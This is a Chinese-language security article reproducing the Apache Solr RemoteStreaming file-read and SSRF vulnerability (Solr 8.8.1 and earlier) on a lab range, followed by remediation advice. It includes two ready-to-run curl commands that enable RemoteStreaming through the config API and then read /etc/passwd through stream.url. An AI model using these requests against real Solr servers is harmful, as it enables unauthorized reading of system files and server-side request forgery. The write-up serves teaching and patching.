Apache Solr RemoteStreaming 文件读取与SSRF漏洞 – 作者:东塔安全学院

0x00简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果.

0x01漏洞概述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取.

0x02影响范围

Apache Solr <= 8.8.1均受影响

0x03环境搭建

这里我们利用东塔攻防世界的靶场来复现这个漏洞。

地址:https://labs.do-ta.com/

1619599956_608922549edf2ad098513.png!small

0x04漏洞复现

1,首先我们启动靶场

1619599962_6089225ab6a635bfd4fa5.png!small

2,访问靶场的首页

1619599967_6089225fa6b4011a13375.png!small

3,访问地址:http://ip:port/solr/admin/cores?indexInfo=false&wt=json

1619599972_60892264cd530495c676c.png!small

4,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:

curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://120.25.24.45:30277/solr/demo/config'

1619599984_60892270ef49df7386641.png!small

5,再通过stream.url读取任意文件:

curl -i -s -k 'http://120.25.24.45:30277/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

1619599995_6089227bc98fc7c6af37d.png!small

1619600000_608922807c8efd17c08a3.png!small

0x05修复建议

1.首先关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true

2,然后关闭远程读取文件流,默认情况下远程读取文件流是不开启的:

在server/solr目录下寻找与core相同名字的目录,比如名字为core1

如果你发现core1/conf/configoverlay.json文件中存在开启远程读取文件流的配置,那么你很有可能被攻击成功了

修复方法是:把core1/conf/configoverlay.json中的远程读取文件流的配置修改为false(如果只有这一条配置,也可以将整个文件删除)

{“props”:{“requestDispatcher”:{“requestParsers”:{“enableRemoteStreaming”:false}}}}

来源:freebuf.com 2021-04-28 16:54:23 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论